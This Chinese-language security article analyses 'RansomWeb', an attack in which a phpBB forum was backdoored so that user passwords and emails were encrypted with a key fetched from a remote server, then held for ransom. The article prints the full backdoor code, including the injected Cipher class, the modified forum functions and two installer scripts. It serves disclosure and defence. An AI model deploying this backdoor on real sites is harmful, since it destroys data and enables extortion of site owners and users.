RansomWeb:一种新兴的网站威胁

2018-08-01 14:40:59 浏览数 (1)

越来越多的人成为勒索软件的受害者,勒索软件是一种加密你的数据并要求支付资金解密的恶意软件。最新趋势表明,网络犯罪分子现在也将瞄准您的网站以获得您的赎金。

2014年12月,我们的安全专家发现了一个非常有趣的金融公司网站泄密案例:网站服务异常停止,并显示了一个数据库错误。同时网站所有者收到一封电子邮件索要赎金以“解密数据库”。网站大多是小型站点,但问题在于其对公司的业务非常重要,不能暂停它,也不能宣布其妥协。我们通过仔细调查发现了以下细节:

- 六个月前Web应用程序遭到入侵,修改了几个服务器脚本以在将数据插入数据库之前加密数据,并在从数据库获取数据后进行解密,这相当于对Web应用程序用户打了个不可见的“动态”补丁。

- 只加密数据库表中最关键的字段(可能不会对Web应用程序性能产生很大影响)。所有之前的数据库记录都被进行了相应加密。

- 加密密钥存储在只能通过HTTPS访问的远程Web服务器上(可能是为了绕过各种流量监控系统的密钥拦截)。

- 在这六个月内,黑客正在一直在等待,直到数据库的原始备份被最新版本的数据库覆盖。

- 在第X天,黑客从远程服务器上删除了密钥。数据库变得无法使用,网站停止服务,黑客要求获得加密密钥的赎金。

我们确信这是针对具体公司的复杂APT的个别例子,但是上周我们遇到了另一个类似案例。我的一个客户,一个中小企业,在他的... phpBB论坛失灵之后被勒索了。该论坛被用作客户支持的主要平台,因此对客户很重要。

这是2014年11月25日发布的最新的phpBB 3.1.2版本,没有用户可以登录(包括论坛版主和管理员)。该论坛是在线的,但是要求论坛用户进行身份验证的所有功能都不起作用。我们的彻底调查显示,论坛引擎被打了补丁,使得用户的密码和电子邮件在Web应用程序和数据库之间被“即时”加密。

修改了以下文件:

1.文件“ factory.php ”的“sql_fetchrow()”函数被修改为SQL查询结果“$ result = $ this-> get_driver() - > sql_fetchrow($ query_id);并对集合中记录的”user_password“和”user_email“表字段进行解密:

代码语言:javascript复制
if(isset($result['user_password'])){
 $result['user_password'] = $cipher->decrypt($result['user_password']);
 }
 if(isset($result['user_email'])){
 $result['user_email'] = $cipher->decrypt($result['user_email']);
 } 

2.文件“ functions_user.php ”的“user_add”功能被修改以对相应字段进行加密:

代码语言:javascript复制
$sql_ary = array(
 'username'=>$user_row['username'],
 'username_clean' => $username_clean,
 'user_password' => (isset($user_row['user_password']))?
 $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
 'group_id' => $user_row['group_id'],
 'user_type' => $user_row['user_type'],
 ); 

3.文件“ cp_activate.php ”的“main()”函数被修改:

代码语言:javascript复制
$sql_ary = array(
 'user_actkey' => '',
 'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
 'user_newpasswd' => '',
 'user_login_attempts' => 0,
 ); 

4.文件“ ucp_profile.php ”的“main()”函数被修改:

代码语言:javascript复制
if (sizeof($sql_ary))
 {
 $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
 $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
 $sql = 'UPDATE ' . USERS_TABLE . '
 SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
 WHERE user_id = ' . $user->data['user_id'];
 $db->sql_query($sql); 

5.文件“ config.php ”进行了以下修改:

代码语言:javascript复制
class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash('sha256',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt');
 $cipher=new Cipher($key);

此外,我们在服务器上发现了黑客留下的两个后门安装脚本,只需点击几下即可对任何phpBB论坛安装后门。第一个安装程序修补“config.php”文件以添加“Cipher”类,该类使用PHP“mcrypt_encrypt()”函数解密和加密数据,该函数在远程服务器上存储加密密钥:

代码语言:javascript复制
<?php
 $file = '../config.php';
 $txt = "n".'class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash('sha256',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt');
 $cipher=new Cipher($key);'."n";
 if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
 echo "DONE!";
 }; 

第二个安装程序解析所有现有的phpBB用户加密他们的电子邮件和密码,并用后门副本替换上述phpBB文件:

代码语言:javascript复制
<?php
 define('IN_PHPBB', true);
 $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
 $phpEx = substr(strrchr(__FILE__, '.'), 1);
 include($phpbb_root_path . 'common.' . $phpEx);
 include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
 $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
 $result = $db->sql_query($sql);
 while ($row = $db->sql_fetchrow($result))
 {
 $sql2 = 'UPDATE ' . USERS_TABLE . '
 SET
 user_password = "'.$cipher->encrypt($row['user_password']).'",
 user_email = "'.$cipher->encrypt($row['user_email']).'"
 WHERE user_id = '.$row['user_id'];
 $result2 = $db->sql_query($sql2);
 }
 echo "SQL UPDATED!<br>";
 copy('factory.php', '../phpbb/db/driver/factory.php');
 copy('functions_user.php', '../includes/functions_user.php');
 copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
 copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
 echo "FILES UPDATED!"; 

攻击者等待了2个月,然后从远程服务器上删除了密钥。之后因为我们因为FTP密码泄露发现phpBB被损坏了。

目前,没有任何防病毒软件能够将安装程序检测为已知的恶意软件:

- “step1.php”文件

- “step2.php”文件

根据其攻击网站之后进行勒索的方式,我们称这种黑客技术为RansomWeb。我们试着对RansomWeb攻击进行了简要分析:

RansomWeb的特点:

- 与DDoS攻击不同; 它们可以对Web应用程序的可用性产生持久影响。

- 不仅可用于勒索,还可用于让网站长期无法工作。

- 备份无济于事,因为数据库将以加密模式备份,而加密密钥是远程存储的,不会备份。

- 几乎不可能在没有支付赎金的情况下从攻击中恢复,许多受害者不得不向黑客支付费用。

- 托管公司尚未准备好应对这一新挑战,可能无法帮助他们的客户。

RansomWeb的弱点:

- 可以通过文件完整性监视器轻松检测到(但是,很少有公司对可能每天都在更改的Web应用程序进行文件完整性监视)。

- 在不损害Web应用程序功能和/或速度的情况下加密整个数据库非常困难(尽管如此,即使一个不可恢复的DB字段也可能破坏Web应用程序)。

- 如果网站定期更新,就可能很快检测到。

High-Tech Bridge的首席执行官Ilia Kolochenko说:“我们可能面临一个新的威胁,可能比数据污损和DDoS攻击更严重。RansomWeb攻击可能造成无法修复的损坏,这很容易发生但很难预防。黑客攻击网站以获得荣耀或乐趣的日子已经结束,现在他们正受到金钱驱使,网络勒索,讹诈和敲诈的时代即将开始。“

首席研究官Marsel Nizamutdinov补充说:“网络勒索和勒索软件已经存在了一段时间,但网站是一个新的被敲诈对象。我们有数以千万计的易受攻击的网页应用程序包含关键数据,黑客绝对不会错过这样因为网站管理员的疏忽而赚钱的好机会。“

Ilia Kolochenko继续说道:“防止此类攻击的唯一方法是将常规安全监控与网站渗透测试相结合。”

RansomWeb攻击的效率和赚钱能力是否会优于DDoS,数据破坏和数据盗窃?这个问题很可能在2015年得到答案。

数据库sqlphp黑客云镜(主机安全)数据库sqlphp黑客云镜(主机安全)

0 人点赞